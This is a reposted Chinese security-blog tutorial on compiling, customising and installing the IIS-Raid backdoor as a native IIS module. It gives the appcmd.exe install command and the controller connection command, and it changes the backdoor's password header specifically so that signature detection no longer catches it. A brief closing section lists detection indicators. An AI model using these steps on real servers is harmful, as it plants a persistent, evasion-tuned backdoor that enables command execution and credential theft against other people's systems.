IIS-Raid后门构建与使用

admin 2022年6月23日08:53:43安全文章评论4 views1368字阅读4分33秒阅读模式

文章前言

IIS Raid是本机的一个IIS模块,通过滥用IIS的可扩展性可以实现一个Web服务器后门并执行攻击者定义的自定义操作,本篇文章主要介绍IIS-Raid的构建和使用过程

测试环境

目标主机:Windows Server 2012 64位 Standard

目标版本:IIS 8.5

IIS-Raid后门构建与使用


IIS-Raid后门构建与使用

项目构建

Step 1:首下载项目源码到本地

https://github.com/0x09AL/IIS-Raid

IIS-Raid后门构建与使用


Step 2:编辑/module/Functions.h文件并自定义密码字段,下面的SIMPLEPASS即为自定义的密码值,连接后门的时候在Http Header中定义,但是这里原版定义密码的HTTP头字段始终是一个值(X-Password),这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:

IIS-Raid后门构建与使用

Step 3:之后更改/module/HttpFactory.cpp 39行代码替换掉X-Password值为自定义的常量,如下代码所示:

IIS-Raid后门构建与使用


Step 4:之后使用VS进行编译处理

IIS-Raid后门构建与使用

Step 5:最终获得dll文件

IIS-Raid后门构建与使用

后门部署

之后在命令行下使用appcmd.exe命令安装

#格式说明C:Windowssystem32inetsrvAPPCMD.EXE install module /name:Module Name /image:"%windir%System32inetsrvIIS-Backdoor.dll" /add:true    #执行示例C:Windowssystem32inetsrvAPPCMD.EXE install module /name:IIS_Backdoor /image:"%windir%System32inetsrvIIS-Backdoor.dll" /add:true

IIS-Raid后门构建与使用

再次刷新模块可以看到IIS_backdoor

IIS-Raid后门构建与使用

后门使用

首先修改项目中的iis_controller.py文件,添加个—headpass的命令行参数:

parser.add_argument('--headpass', type=str, default="X-Password", help="Header to user for password.")

IIS-Raid后门构建与使用

之后把自定义的HTT头字段名加入到HttpHeader中

IIS-Raid后门构建与使用

连接成功入后如下图所示:

python3 iis_controller.py --url http://192.168.17.190/ --headpass COM_PASSWD --password admin@liuwei

IIS-Raid后门构建与使用

演示视频

防御措施

下面是检测通信流量或模块部署的一些方法:

  • 检测命令行中appcmd.exe的执行

  • 如果可以拦截到WEB服务器的流量,请检查是否有任何base64编码的标头数据以下列任何字符串开头

PIN|GDMP|CREDSCMD|INJ|


参考链接

https://www.freebuf.com/sectool/231973.html

https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/


原文始发于微信公众号(七芒星实验室):IIS-Raid后门构建与使用

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月23日08:53:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  IIS-Raid后门构建与使用 https://cn-sec.com/archives/1136650.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: